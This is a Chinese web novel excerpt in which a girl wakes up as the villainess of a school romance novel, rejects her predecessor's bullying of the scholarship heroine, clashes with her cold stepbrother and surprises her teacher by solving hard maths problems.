《万人嫌被男主们觊觎了》
第1章 穿书
“要我说这都是那个特招生的错,肯定是她跟其他人说了我们家谣谣的坏话,不然谣谣怎么会变成这样了,必须让那个女生转学!”
“好好好,我会想办法处理这件事的。谣谣还在休息呢,你小点声……”
洁白的病房内,莹莹的日光从窗户里洒进来,照亮整个房间。
躺在病床上的少女紧闭着双眼,洁白的肌肤如瓷器般光滑细腻,五官精致得像洋娃娃,美丽又脆弱,让人忍不住想要呵护起来。
见外边聊天的人声音越来越小,时谣将呼吸压得更轻,听着脑子里的系统不断絮絮叨叨。
【你穿成了恶毒女配,你在原书中的任务就是欺凌女主、勾搭男主,最后坏事做尽下场凄惨。现在你要想办法改变自己的命运……】
时谣一边听一边陷入回忆。
她上辈子刚高考完,无所事事一身轻,便熬夜追了一本叫《清贫校花被贵校f4强制爱的日日夜夜》的玛丽苏文。
这本书讲述了清贫但美貌的特招生女主姜望舒考进圣斯特学院后,被校园f4看上并引发了一系列强取豪夺的泼天狗血故事。
书中的恶毒女配是大佬f4没有血缘关系的继妹,和时谣同名同姓,为人虚荣傲慢、目中无人,喜欢仗着家里的关系对校园f4纠缠不休。
姜望舒的出现很快吸引了校园f4的注意,这令原主产生了大量危机感,开始针对女主,做出的坏事包括但不限于围堵厕所扇巴掌、反锁教室、带头孤立等行为。
男女主们在恶毒女配的作妖之下,英雄救美,感情反而越来越好。这让原主的心理更加扭曲变态,走上了违法犯罪的道路,最后下场凄惨。
熬夜看完,时谣就昏睡过去。
然后第二天就出了车祸,穿书了。
这个时间线她应该刚把原女主反锁进体育器材室,并且这件事刚好被恶劣f3撞见,气得f3放言说再也不想看见她。
又因为被f3骂了一顿后去找清冷f1诉苦,结果意外打翻f1辛苦弄了两个月的实验素材,被f1怒赶出门。
原主哭唧唧地走在路上,路遇温柔f2后被安慰了一顿,这令原主疯狂心动,直接潜入温柔f2的更衣室试图勾搭,结果被保安赶了出去,在校园里名声大噪。
原主直接破防,居然认为是女主在其他人面前说了自己的坏话,在家里哭闹着要把原女主赶出学校。
原本隔着屏幕看书,时谣对女配的所作所为还没有多大的感触。直到穿进书里,原主的记忆真切地涌上来后,时谣才后知后觉地感到了亿点尴尬。
她躺在床上,匪夷所思地想,人,怎么可以有种成这样?
社死的感觉如此煎熬,煎熬得时谣连装睡都装不安稳,缩在被子里的脚趾不自觉绷紧,尴尬地绞着被子,试图在床上抠出一座芭比梦想豪宅。
于是她在等系统念叨完后,忍不住发问:“如果我完不成任务,会发生什么呢?”
【如果宿主没办法洗白自己,本书剧情结束后会把宿主送回原来的时空。当然——那个时空里宿主已经死啦。】
“你没有什么金手指可以送我?”
系统不好意思道:【我的系统权限太低,没办法给宿主发金手指呢。但是宿主如果忘记剧情的话,可以随时问我哦。】
系统似乎也知道自己很没用,说完这句话就开始装死了。
时谣忍不住叹了口气,早知道就不看那本书了,这下她不仅损失了高考结束后的快乐生活,还要在玛丽苏文里求生,怎么想都觉得很荒谬。
或许是她叹息的动静太大,身边交谈的中年男女发出了惊喜的声音:“谣谣醒了!”
“谣谣,还有哪里不舒服吗?不舒服一定要和妈妈说哦。”
时谣知道装不下去了,只能睁开眼睛。
眼前的女人贵妇打扮,模样姣好,精致的妆面和衣着让她看起来比实际年龄要年轻许多。见时谣醒来,又是摸摸她的额头,又是看看她的脸色,担忧得不行。
时谣很小的时候父母就离世了,此刻看着这个自称是“妈妈”的女人,微微愣住,下意识开口:“我……”
旁边的中年男子也接话道:“是啊,不舒服多跟家里人说说,爸爸妈妈都会理解你的。”
时谣眨了眨眼,看向了自己的“爸爸”。
男人身穿高定西装,人到中年却依然俊逸,岁月的沧桑掩盖不住他的风华,反而添了几分成熟稳重。
女人叫时婳,男人叫晏修远。
时婳年轻时被渣男辜负,独自抚养小时谣长大;晏修远的前妻在几年前因病离世,只留下一个独子,也就是圣斯特学院里的禁欲大佬f4,晏羽。
两人是重组家庭。时婳和晏修远两人一直很恩爱,只是两个孩子的关系并不好。
说到晏羽,时谣忍不住看向坐在房间里一言不发的青年。
青年简直是年轻版的晏修远,才刚满18岁,就已经有了成熟男性的风采。
他肩膀很宽,双腿交叠而坐,陷在椅子里的时候有种无所事事的倦懒。晏羽的五官深邃,唇角总是抿着,看上去淡漠禁欲,似乎没什么东西能搅动他的情绪,稳得像青松。
面对父母对时谣的关切,青年轻微蹙眉,白皙修长的手指轻轻敲打着椅子的边缘,银质袖扣微微泛着冷光,衬得那指骨愈发冷感消沉。
“……谣谣,你在听吗?”
时谣正看得出神,心想不愧是玛丽苏文里的男主之一,确实帅得天怒人怨。
时婳的声音短暂唤回了她的思绪,时谣张了张口:“……什么?”
时婳又重复了一遍:“我和你爸爸决定让校方把那个特招生转走了,你看好不好?”
特招生,转走?
时谣立刻想到了原书剧情:
原主通过大闹一场,成功让溺爱孩子的父母答应让女主转学。但是恶毒女配的作妖怎么会成功呢?原主的这一举动传到校园f4的耳朵里,校园f4都各自动用了家族势力保下了女主。
然后原主这一番操作更是让校园f4对她的好感更下一层楼,尤其是她的继兄晏羽。
晏羽本来对原主还有点亲情在,但眼见原主对跟她无冤无仇的特招生也这么过分,这一点微不足道的亲情就直接消亡了。因此在后期其他人对原主实施报复的时候,他不仅冷眼旁观,甚至在背后推波助澜了不少事。
果然时谣抽空看了眼晏羽,只见那人原本平静的脸上,似乎出现了一丝嘲弄。
时谣:“……”
【检测到关键剧情点,请宿主注意躲避。】
这个剧情是引发校园f4对原主彻底反感的关键节点,就算最后没有成功,也绝对不能让晏修远动用特权把女主转走。
时谣抬眸,认真地看着父母:“不用了。”
她的声音温软柔和,听起来很舒心。时谣父母听见原本吵着闹着要报复那个特招生的女儿突然这么大度,忍不住面面相觑,又露出了担忧的表情。
“谣谣,一个特招生而已,爸爸会帮你摆平的。”
在晏修远眼里,时谣这个女儿一向很乖,这次回家这么闹情绪肯定是被人欺负了。他做继父的,女儿被欺负了肯定要出面帮忙,不然怎么对得起妻子呢?
时谣却坚持摇头:“那个女生并没有欺负我,我会自己解决的。”
晏修远忍不住皱眉:“真的不用爸爸帮忙吗?你确定你能搞定?”
“爸爸,我已经17岁了,应该学会用成熟的方式去处理问题了。”时谣露出一个笑容,善解人意道,“那个女生考进来也不容易,我们还是不要随便剥夺别人在圣斯特上学的资格了。”
“而且,”时谣认真补充,“如果就这样让她转走了,外面的人也会说我们家仗着有钱欺负普通人的。”
晏修远总觉得女儿好像变了,以前的时谣虽然乖巧,但并没有现在这么乐观大度,甚至还会帮着家里考虑外界的看法。
见父亲还是一脸担忧,时谣拉起了晏修远的手,撒娇道:“爸爸,你就相信我嘛。而且学校里有哥哥在,如果我出什么事了,哥哥肯定也会帮我的。”
一旁的晏羽闻言,轻轻抬眼,目光在时谣的脸上降落,面露思索。
晏修远却是一怔。
这个继女三年前来到晏家的时候,很是小心翼翼。对于他虽然充满孺慕之情,但始终不敢过分接近他,更何况是这样自然地撒娇?
自从晏羽十岁之后,晏修远就再也没有被孩子用这种恳求的眼神看过了,一时间他竟然无法说出拒绝的话。
晏修远感慨道:“谣谣,你好像长大了。”
时婳还是不放心:“谣谣,真就这么过去了?”
时谣立刻点头如捣蒜,睁着水润的眼睛,诚恳地看着她。
这下夫妻俩还能说些什么,只能又叮嘱了一些话,然后离开了病房,让时谣好好休息。
时谣松了一口气。
“系统,这个剧情点我应该是避过去了吧?”
【嗯嗯,宿主好样的,恶毒女配洗白指日可待!】
原本一直在角落里安静坐着的青年突然起身,长腿一迈,走到了时谣的病床前。
眼前人的阴影笼罩下来,时谣忍不住抬眼向上看,晏羽正垂着眼,用一种冷静又探究的目光,皱眉打量着她的神态。
晏羽年纪并不大,但是晏修远已经准备让他毕业后就接触家族事务,良好的家世和从小继承人的教育模式让他天生自带一种上位者的气场,就算是这么淡淡地垂眸看她,时谣也觉得压迫感极强,有些不自在。
既然她的任务是不当恶毒女配,别的男主都可以不理睬,但和这个哥哥的关系是必须要打好的。时谣定了定神,试探地开口:“哥哥……”
晏羽面露嘲讽:“哥哥?你也配当我妹妹?”
“我可是时时刻刻都在想着,你到底什么时候才能从我家里消失。”
开文啦[撒花]请大家多多支持我们小时谣[撒花]
作者有话说
显示所有文的作话
第1章 穿书
第2章 学院
病房里静得落针可闻。
“别以为我不知道你在学校干的那些事。”晏羽的眸子里尽是嘲弄,“你利用姜望舒,在我父亲面前表演你的懂事大度,就像你以前利用我那样。你觉得很有意思吗?”
时谣轻轻皱起眉。
晏羽此人,未来的商圈帝皇,性格一向冷淡,防备心很重。
他不喜欢时婳,认为时婳的出现取代了他母亲在晏修远心中的地位。连带着时谣这个不太聪明的妹妹也被一起讨厌,无论时婳母女怎么对他好,这家伙都跟捂不热的石头一样冷淡无比。
原主一开始还蛮喜欢这个看起来稳重成熟的靠谱哥哥,直到有天原主意外打碎了晏羽母亲生前最喜欢的花瓶,一向冷静自持的晏羽疯了似的逼着原主在他母亲的遗像前下跪道歉。
原主那天吓得哭着道歉,实际上却记了一辈子的仇。
她为了报复晏羽,时常做一些挑拨晏羽和晏修远父子关系的事情。晏羽在家并没有时谣讨喜,在这方面吃了不少暗亏。
晏羽这个角色和原主之间的矛盾,也并不像其他人一样是为了女主。相反晏羽是一个很懂得权衡利弊的人,对女主的爱并不足以成为他最终对原主下手的理由。
在和原主的多年相处中,日积月累的恨才是。
只是此刻对于晏羽对自己的恶意,时谣却是抬头,迎着他居高临下的压迫感与他对视,轻轻笑了。
“我并没有在父亲面前装模作样的想法,你对我的误解是否太深了一些?”
少女的语气轻舒和缓,那一笑如同清新的栀子花在病房里绽开,就这么柔韧又轻松的将他的恶意弹开。
原主一直很怕这个冷着脸的继兄,但时谣看了原著后只觉得,如今还没成为大佬的晏羽针对她所释放的一切恶意,都只是在家庭里孤立无援之下的虚张声势。
看着时谣难得舒展而开的笑意,晏羽不自觉攥紧了拳,眸子里的光晦暗难明。
他冷着脸轻嗤:“误解?你一边在学校里欺负同学,一边在家里倒打一耙后又装好人,我可不觉得哪里误解了你。”
晏羽对自己的偏见根深蒂固,时谣懒得解释,下床穿好自己的白色拖鞋:“那随你怎么想吧。”
随他怎么想?
晏羽本来以为时谣会跟他大吵一架,但目前时谣油盐不进还满不在乎的样子,让他有种一拳打在棉花上的无力感。
晏羽的内心无端升起一股烦躁:“时谣,你装模作样的样子真让人恶心。”
晏羽故意找茬,时谣才懒得陪缺爱少年吵架,甚至在他对自己出言不逊后,连跟他打好关系的心思都没有了。
她淡淡地从晏羽身边走过,却故意踩了一脚他的名贵皮鞋。
晏羽冷冷抬眸,目露警告。
时谣勾唇开口:“你无能狂怒的样子却让人生不起气呢,哥哥。”
“刚刚那些质问,怎么不在父亲面前问一遍呢?是觉得没人相信你的话,还是觉得我一个人的时候更好欺负?”
许是凑得太近了,少女身上的栀子花香袭来,晏羽只觉得呼吸一滞。
他甚至都没听清时谣说了些什么,只是忍不住盯着她的双眼看,那平静坦然的眼睛里再也没有以往的偏执阴暗,好像看透了自己。
晏羽的拳头暗暗攥紧,心脏莫名加速鼓动。
等晏羽回神,房间里已经变得空空荡荡,只余空气里还残存着淡淡的栀子香气。
很轻,很淡,多停留一秒就要消失。
……
时谣关上病房,捏紧了门把手,终于松了口气。
系统夸她:【宿主,你怼男主的时候真的好帅!好有魅力!】
听着脑子里绽放的烟花音效,时谣长舒一口气。
“其实我刚刚也怪紧张的。”时谣诚恳道,“他看我的眼神太讨厌了,我生怕他下一秒就刀了我。”
毕竟那也是让原主下场凄惨的罪魁祸首之一。
不过也正是晏羽这个反应让时谣意识到,讨好他是没用的,只要他和自己的核心矛盾还存在,那他就会一直仇恨自己。
但穿都穿了,事已至此,只能慢慢来了。
第二天早上,时谣坐上豪车前往学校。
圣斯特学院是名副其实的贵族学院,在里面读书的学生非富即贵,其中身份最为显赫的,当属温家、苏家、陆家和晏家的四位少爷。他们凭着身份、颜值与才华,共同组成了校园里的风云f4。
而作为f4之一晏羽的妹妹,与校园f4其他三人纠缠不休的恶毒女配时谣,自然也在校园里备受关注——
“你看你看,那不是时谣吗?她还有脸来学校啊!”
“就是啊,明明是晏少的妹妹,居然能做出勾引雾迟大人这种事,太让人恶心了。”
“何止是雾迟大人,温学神和陆少不也被她烦得要死吗。勾搭一个就够不要脸了,她居然还想一次性妄想勾搭三个,真以为做了晏家的继女就有接近f4的资格了?”
“嘘,小声点。她虽然不是晏家的亲女儿,但是晏家可护着她呢,别口无遮拦把人得罪了去。”
时谣一从那辆幻影劳斯莱斯下来,就受到了无数的注目。
许多闲言碎语不断地飘进时谣的耳朵,什么雾迟大人啊晏少陆少啊,中二得让她脚趾扣地。
时谣觉得这个场景太尴尬了,便找了个话题跟系统聊天:“话说我的教室怎么走来着?”
【那栋尖顶教学楼的三楼第一间就是。不过圣斯特学院里面是很多剧情的发生地点,宿主要注意躲避其中的坑哦。】
“嗯嗯,知道了。”
时谣左右环顾,终于看到了那个红色屋顶的尖顶建筑,抬腿走了过去。
就在这时,身后传来一阵骚动:
“啊啊啊啊啊啊啊今天居然有幸见到f4里的三个一起出现!!!就是可惜没有晏会长,心碎。”
“温学神还是一副冷淡的样子,那看狗一样的眼神,迷得我只想跪下叫主人!”
“今天雾迟王子也好温柔啊!卧槽他刚刚是不是对我笑了,啊啊啊啊啊啊雾迟王子我们喜欢你!!!”
“陆少好拽我好爱,快看我,快看我!陆少我要给你生猴子——”
女生们热情欢呼着三位校园男神的到来。
时谣也是第一次看到这种阵仗,出于好奇,还是在人群后面远远地看了一眼。
三道身影出现在人群分开的道路之上,一道清冷,一道温雅,一道不羁。气质各不相同,样貌却皆是顶尖,就算是穿着一样的校服,在一众普通学生里也显得鹤立鸡群。
时谣认出了这三人,他们正是圣斯特学院里的风云f4之三:温言律、苏雾迟和陆烬燃。
温言律是那个被原主的无脑气到的清冷f1。
苏雾迟是前段时间原主试图勾搭未遂的温柔f2。
陆烬燃是放话说再也不想见到原主的恶劣f3。
这三个人突然一起出现,时谣顺利将原书里的剧情和这几人的脸彻底对上号。
只能说不愧是玛丽苏文里的男主,这几位的颜值确实很高。时谣远远欣赏了一下男主们的美貌,其中一人的目光却状似不经意地飘过来,准确地锁定了人群后面的时谣。
那人看了她一眼,突然弯了弯唇。
那一笑真是美得惊心动魄,尤其是那双桃花眼实在好看,配上眼角那一点泪痣,真是看狗都深情,没有人能不为这一抹笑心动。
时谣愣了一下,意识到那个笑确实是对她绽放的时候,露出了不可置信的表情。
这人就是原主勾搭未遂的那个苏雾迟。
苏雾迟是四大家族第一美人苏伊之子,不仅遗传了母亲的绝色美貌,还是个音乐天才,温柔纯善的性格加上那一手钢琴绝技,俘获了圣斯特学院无数女生的芳心。
苏雾迟表面上不讨厌原主,但看过原著的时谣可是知道,苏雾迟对原主的厌恶可不比f4的其他三人少。只是他这人比较伪善,在原主还有利用价值的时候并不会明面上闹掰。
但他很清楚自己在学生里的人气,也懂得利用仰慕者们,兵不血刃地为自己除掉讨厌的人。
果然在苏雾迟对自己笑了一下之后,身边的女生们瞬间爆发了强烈的嫉妒。
数道目光扎在时谣身上,不满的、怨恨的、嫉妒的……她一瞬间成了新的焦点。
原主成为万人嫌除了自己作以外,苏雾迟的刻意引导也在其中起到了很大的作用。时谣看书的时候就不喜欢这个伪善的家伙,对他美貌的欣赏也立刻转变为对人品的嫌弃,直接转身就走。
但想了又想,时谣还是觉得十分不爽,回头给苏雾迟比了个中指。
苏雾迟:“……?”
看着时谣扬长而去,一向温雅矜贵、波澜不惊的温柔f2,面上浮现出一种迟滞的空白。
与他并肩而行的温言律见他愣住,疑惑地向他目光所及之处看去,却看见了一个让人避之不及的熟悉身影。
“你在看时谣?”
提起那两个字时,温言律的语气不自觉带上一点轻蔑之色。他不喜欢那种娇蛮任性的女人,一个从来不会用自己脑子思考的蠢货,不配得到他的尊重。
“……没有。”苏雾迟淡淡地收回目光,攥紧了拳头,内心波澜狂起,尽是疑惑。
一向喜欢缠着他的时谣居然嫌弃地给他比中指,难道这是吸引他注意力的新方式?
但苏雾迟隐隐觉得不对劲。
因为时谣离开的身影太果决了,好像身后有什么脏东西在追。
……
圣斯特学院里的学生以成绩分为1到10班,每个班30人。
时谣站在高二10班门口前停留片刻,和系统反复确认:“我居然在最差的班?还只考了倒数第十?”
【倒数第十是上上次月考的成绩了,宿主你这次月考是倒数第八哦。】
倒数第八……?
时谣上辈子从来没考过这么差的名次,看来原主的成绩确实不好。
时谣坐进座位,将课本找出来挨个翻了翻,直到确定整个圣斯特学院的知识体系还是她上辈子熟悉的高中知识后,才松了一口气。
她还真挺怕玛丽苏小说的世界观和现实不一样的,这意味着她需要全部从头学起。
时谣找到原主错误满满的月考数学试卷,早读无聊,她高三生的DNA又动了。
她下意识翻到后面的压轴题,提笔写起了解题思路。
这道题出得很有水平,时谣越算越沉浸,甚至都没有注意到自己面前站了两个人。
“……时谣姐,你在听吗?”
第3章 倒数
时谣这才回神:“……啊,你们说什么?”
此时站在时谣面前的是两个女生,一个烫着当下最流行的罗马卷,另一个黑色短发,脸上有着雀斑。
罗马卷女生惊奇道:“谣姐,你今天怎么转性了,一大早居然在做数学卷子?”
雀斑女生也道:“对啊谣姐,你前两天说要把姜望舒赶出学校的。现在进展怎么样了?”
时谣看了看两人,终于从原主的记忆里搜刮出两人的名字。
罗马卷女生叫朱颜,雀斑女生叫温馨然,是班里的倒数一二名,也是时谣这个恶毒女配的忠实小跟班。
作为恶毒女配的小跟班,她们在书里的结局自然是坏事做尽,然后美美炮灰。
原主回家之前还给两个小跟班说一定要给姜望舒好看,但时谣穿来后,这件事就不了了之了。时谣迎着两人期待的视线,淡定道:“哦,这件事我改主意了,我决定以后不欺负姜望舒了。”
“谣姐,你在说什么啊,你不是最讨厌姜望舒的吗?!”朱颜一脸震惊,“你前几天还说她不老实,天天装出一副委屈样是想勾引别人呢。”
温馨然也道:“是啊谣姐。你是不是因为陆少前几天的话伤心了?陆少他那只是气话,他怎么可能会因为姜望舒不理你呢?”
温馨然口中的陆少正是校园f4之一的陆烬燃,他出身四大家族里的陆家,为人潇洒不羁,偶尔有些恶劣傲慢,本质却并不坏,虽然爱逗女主,但是面对女主被人欺负一事还是零容忍的。
原主不久前因为欺负女主,被陆烬燃当场撞见,还被痛骂了一顿,放话说再也不想见到她。
但时谣决定不欺负姜望舒这件事可跟陆烬燃无关,她只是单纯地讨厌校园霸凌这件事。大家都是人,都是来学校学习的,有那个欺负人的闲工夫,不如多做两道题提升自己。
但朱颜和温馨然两人,典型的家里不管的富二代,整天无所事事,就爱跟着时谣取乐,时谣说往东绝对不往西。时谣打量了两人一会儿,托着下巴,对着二人笑了笑。
原主平时为了引起校园f4的注意,总是浓妆艳抹。但今天她顶着一张素净的脸对她们笑,朱颜和温馨然一时间竟是被美到失语。
“我这几天想明白了,姜望舒这次不是考了第二吗,我也要考第二。”
两人呆呆的:“原来是这样……什么?!谣姐你要考第二?!”
两人语气里的震惊难以掩藏,语调不自觉地拔高,在班里的同学不自觉地被三人的动静吸引了注意。
“我去,谣姐你这是为爱蜕变吗?是不是因为温学神之前多跟姜望舒多说了两句话,所以谣姐你也要变成智慧型学霸美女?!”
时谣哭笑不得,又想起这两个小跟班在书中的凄惨下场,多提了一句:“也不是……你们也别欺负姜望舒了,她考进圣斯特也不容易。而且欺负人这件事终归不太好,小心哪天惹到人被报复了。”
“可是谣姐,你不是晏家的女儿吗,有你罩着我们,我们怎么可能会有事啊?”
时谣严肃道:“等你们遇到了家里权势比我更高的,我还能护住你们吗?”
见两人愣住,时谣道:“我已经决定好好学习,不欺负姜望舒了。你们如果还把我当老大,就减少这种会给自己招仇恨的行为吧。”
朱颜和温馨然疑惑极了,突然爱学习还能理解,但时谣怎么开始护着姜望舒了?
但作为合格的小跟班自然要无条件听老大的话,两人很快又说服了自己:她们老大应该是把姜望舒当成竞争对手了,姜望舒如果退学了还怎么竞争?
那可是年级第二啊!她们老大最讨厌学习了!果然爱能克服一切难关,不愧是她们伟大的老大,就是有决心!
两人都流露出钦佩的目光,温馨然一脸感动地给时谣加油鼓劲:“时谣姐加油!我相信你一定能让温学神对你刮目相看!”
上课铃声就在这时打响了,班主任抱着一叠书本,踩着铃声进了教室,威严道:“上课!”
众人都纷纷坐回了自己的位置上。
姜望舒踩着点进了教室,气喘吁吁道:“报告!”
“抱歉……我来晚了。”
那道声音婉转动听,长相是不可多得的纯洁漂亮,温柔可人,像一个小天使。
玛丽苏文女主的美貌自然无可挑剔。
只是除了漂亮,她还有着草根女主同样的毛病——自卑、怯懦,面对这个贵族云集的环境惴惴不安,总是垂着漂亮的眼睛,不敢直视教室里的任何人。
时谣写题的手一顿,抬眼看她,莫名觉得她这幅样子和刚跟着母亲嫁入豪门,在贵族学院里时常感到无法融入的原主特别相似。
姜望舒一脸忐忑,但是由于她刚考了不错的成绩,班主任对她的态度还算不错。
他没有为难姜望舒:“没关系,回座位上课吧。”
姜望舒点头,坐到了教室最后一排的位置上。
圣斯特学院虽然是按照成绩排座位,但姜望舒毕竟是插班生,刚入学没有成绩,便先在10班学习一段时间。
估计这两天,她就要搬去1班了。
时谣收回思绪,继续对付着那道月考压轴题。
班主任是数学老师,他对整个10班的数学成绩很不满意,一上课就借着刚结束的月考发挥,狠狠训话。
“这次的数学考试是有一定的难度,但是你们也不至于连基础题都做不出来吧?上课好好听讲,学不会就多问,比如姜望舒同学,她就经常到办公室问老师问题……”
但老师骂人归骂人,10班的学生们都是左耳朵进右耳朵出。
直到老师开始讲题,班里已经有不少人昏昏欲睡了。
时谣不困,但也没听课,她写完最后一种解题步骤,才终于满意地舒展开眉眼。
下一秒,她的试卷就被下来巡讲的老师拿了起来。
老师早就习惯10班这种不听课的氛围,整个班此时也就姜望舒和时谣没有犯困,姜望舒是努力听课的好学生,但平时无法无天的大魔王时谣居然也在奋笔疾书,很难不引人注意。
他还以为时谣终于良心发现准备好好听课,下来一看,却发现她在做她根本不可能做出来的压轴题,很是失望。
他看都没看时谣写在试卷上的答案,不满道:“你的数学成绩是全班垫底吧?垫底了都不好好想着打基础,居然还在研究压轴题。既然你这么爱研究,那你就上讲台说说你研究出了什么吧。”
这个小插曲直接惊醒了不少昏昏欲睡的同学。
原主在校园里名声不太好,众人见被老师训斥的人是时谣,都纷纷露出了看好戏的神色。
“是时谣诶,老师居然让她上去做压轴题,她怎么可能做得出来啊?”
“就是就是,谁不知道时谣数学稀烂,让她做两道英语阅读还行,数学?算了吧!”
“而且是压轴题诶,这道题据说全年级也就温学神拿了满分,时谣肯定一个字都写不出来啊。”
“怎么可能一个字写不出来,至少还能写个解呢。”
只有两个小跟班面露担忧。
时谣听着教室里幸灾乐祸的声音,忍不住挑眉。
她还从没体验过被嘲学习不好的经历,一时间倒是觉得稀奇。
于是她在众人看好戏的目光之下,拿起试卷和草稿纸走上讲台,掰了一节新鲜的粉笔,在黑板上写了一个“解”后,却是顿住。
众人又等了十几秒,没见时谣写下第二个字,爆发出阵阵哄笑。
“我说的没错吧,她就真的只写得出来一个解!”
“好丢人啊,还好不是我被老师叫上讲台,写不出来多尴尬。”
系统看得到她写得密密麻麻的草稿纸,疑惑道:【宿主,你怎么还不把答案写出来?】
时谣思索:“因为我在思考这三种思路要写哪种他们才容易看懂。”
时谣不是不会,而是她在写下那个“解”字之后突然反应过来,自己这三种解题思路用的都是比较方便快捷的方法,而不是课本上的常规思路,至少也是选修课本的知识了。
刚高考完的人就是习惯把知识学杂,但时谣又想了想,就算用常规思路解出来,这个成绩不好的班级估计也没人能看懂她的答案,又觉得自己的担心是多余的。
于是在众人嘲讽的目光下,时谣继续往下写了。
很快众人的表情从嘲讽到疑惑,又开始了新一轮的窃窃私语:
“啊?她真的会做啊?”
“我看看……呃,这里应该求导吗?标准答案不是这样的。”
“乱写吧,我还以为多厉害呢。”
时谣写完,开始讲解:“第一种方法是把题目给出的函数先求导……”
姜望舒整张卷子只有压轴题丢了两分。她还没见过这种解题方式,但她很聪明,顺着时谣的解题思路想下去,发现真的能解出来之后,似乎受到了什么启发,提笔开始验算。
但还没等姜望舒验算出来,时谣已经讲完了。她也不管台下的同学听没听懂,直接将刚刚的解题步骤全擦了,开始写第二种。
“第二种方法是……”
这个解法已经不算是目前课本上学过的知识了,姜望舒感觉自己有些听不懂,只能迷茫地撂下笔。
时谣讲完第二种,又写下了第三种。
“这种方法要用一点奥数思维……”
最后一种方法很短,但其中的什么奥数思维已经彻底涉及到众人的知识盲区了。班上的同学从一开始的幸灾乐祸,直到时谣将三种方法全部讲完,都变得无比痴呆。
他们是谁?他们在哪?
刚刚发生了什么?为什么好像感受到了知识的洗礼?
时谣放下粉笔,抬起眸子,对已经惊呆了的老师笑道:“我已经讲完了。”
她大大方方地讲完,回到座位上坐下了。
众人愣了许久,才从角落里冒出一阵稀稀拉拉的掌声。是时谣的小跟班朱颜和温馨然。
她们虽然没听懂,但是自己老大今天这么风光,她们可是使劲给足了面子,将手拍得分外用力。
这阵掌声带动了全班,其他人才后知后觉地鼓起了掌。
“她刚刚讲的你听明白了吗?”
“没听明白,但是好厉害的样子,鼓掌就对了。”
“成绩全班倒数的时谣居然会解压轴题?台上的是姜望舒我还信,她是不是去哪里背答案了?”
老师刚刚脸上的嘲讽也消失不见,取而代之的是深深的怀疑。
学生们看不懂,但是他却是清楚知道时谣的解题思路到底有多清晰,而且解题方法完全超纲,根本不是网上随便抄就能抄来的。
她是真的自己做出来的?
能解出压轴题的水平,数学没及格?
老师皱眉看着平静淡然的时谣,今天的她是罕见的宠辱不惊,既不因为同班同学的嘲笑而破防,也不因做出了超难的题目而沾沾自喜。
老师盯着时谣看了一会儿,缓缓开口:
“你下课后来我办公室一趟。”
是真会还是假会,一验便知。
作者有话说
显示所有文的作话
第3章 倒数
4. 陆烬燃
老师说完这句话不久,下课铃就响了起来。
老师在10班从不拖堂,他收拾好东西,瞥了一眼时谣,示意她跟上。
众人都对老师叫时谣去办公室做什么很感兴趣,数道八卦的目光落到时谣身上。
但时谣并不像以往那样,就算做出了整个年级没人拿满分的压轴题,也没有得意洋洋地自我吹嘘。
真奇怪……这还是平时那个嚣张跋扈的女魔头吗?
班里的氛围时谣无从得知,她跟着老师来到办公室,看着老师在座位上坐下,从旁边的抽屉里翻出了一张新的试卷。
“你们下节是自习课对吧?”
时谣想了想,点点头。
老师将试卷推到她面前:“那正好,做一下这张竞赛卷子。”
时谣知道应该是自己刚刚课堂上的表现让老师产生了疑惑,闻言也没说什么,拉开一个空椅子坐下了。
这张竞赛数学卷只有二十道题,数量不多,但是出题角度都很刁钻。
时谣学过一点奥数,这种难度的题目倒是激起了她的胜负欲,拿起草稿纸就沉浸地演算起来。
老师不动声色地看着她做题。
时谣做题速度很快,不到半节课,就算完了对普通学生来说堪比地狱难度的前十题。更要命的是,老师能看出来她的答案是对的。
他看着时谣做完试卷第一面,等翻到第二面的时候,时谣似乎才犯了难,对着那道题犹豫很久,才跳到了下一题。
下一题时谣只算了一半,思路就遭到了阻塞。她往下继续做,却发现每道题都有一定的难度,尤其是最后一道题,是从没见过的题型,根本毫无思路。
直到自习课下课,时谣还是没有思路。只能搁下笔,将试卷递了回去,老实交代:“老师,做不出来了。”
老师开始批改。
时谣看着自己试卷上大量的叉,也没觉得多难受,毕竟很多题目都在她的知识盲区里,不会就是不会,错了她也不怨自己。
“这是今年的全国竞赛卷,很多题型都是刚出现的,做不出来也正常。”老师随手给了她一份参考答案,“就连年级第一的温言律也只拿了98分,你有70分,已经能在全国竞赛里排到前五十了。”
只拿了98分……?
这张试卷满分是100,70分就能进全国前五十,98分估计已经是全国前几的水平了吧。这种程度在老师看来,也只是“只拿了98分”吗?
温言律。
时谣默念了一下这个名字,虽然对玛丽苏文的男主角无感,但他可以把这种难度的试卷做到98分,时谣是真的很佩服。
“时谣,你数学明明很好,为什么以前不好好考试呢?”
老师诚恳的问话在时谣耳边响起,时谣知道老师应该是误会了什么,她下意识眨了眨眼:“我以前没有意识到学习的重要性……”
她本来是想扯个理由浑水摸鱼,谁料老师听到她这句话,露出了“果然如此”的表情。
“你还小,情情爱爱在你们这个年纪是最不重要的!”
时谣忽然有种不妙的预感:“等下,其实不是因为这个……”
但时谣的意见已经不重要了。
那句话后,老师好像打开了话匣子,自顾自地开始评价起了时谣与f4的爱恨情仇。
案例之丰富、观点之密集、逻辑之缜密,简直可以产出一篇名为《论时谣是如何在迷恋f4的过程中丧失学习天赋》的高质量论文。
时谣被迫在他人口中重温了一遍原主的社死行为,却找不到打断的契机,只能捂着脸,恨不得自己立刻从这个办公室里消失,内心疯狂祈求老师别说了别说了。
“你喜欢的那几个人确实很优秀。”老师肯定了时谣的眼光,又拍了拍她的肩膀,“可是你也不差啊!你只要好好努力,让自己变得更优秀,这样你喜欢的人也会被优秀的你吸引对不对?”
“老师,您说的对。”时谣深吸一口气,站起来道,“可是,我已经不喜欢温言律、苏雾迟和陆烬燃他们三个了!”
“咔哒”一声,办公室的门被打开。
一道穿着清隽身影出现在门口。他长身鹤立,五官深邃俊朗,挺拔的鼻梁上架着一副金丝眼镜,很好地中和了眼神的锐利,将他衬得更加清冷斯文。
是温言律。
时谣刚刚那句话根本没压住声音,于是那句带着温言律大名的话就这么直接地钻入了他的耳朵里。
温言律抬眼,看着尴尬看过来的时谣,下意识皱了皱眉,露出了厌恶的表情。
时谣:“……”
看着温言律这一副看不起她的表情,时谣无语地轻啧一声。
见温言律走向另外的办公桌,时谣收回了目光,又看向老师,缓慢而又坚定地重复:“是的,我不喜欢他们了,我现在只喜欢学习。”
她上辈子没看到自己高考分数就死了,穿书后最大的执念就是考一个自己满意的大学,谁有空继续扮演恶毒女配,和男女主们上演泼天狗血?
“只喜欢学习?那老师期待着你下次月考的进步了。”
“我会的。”时谣笃定道。
时谣离开教室的时候,路过了温言律所在的办公桌,但她只是当他不存在。
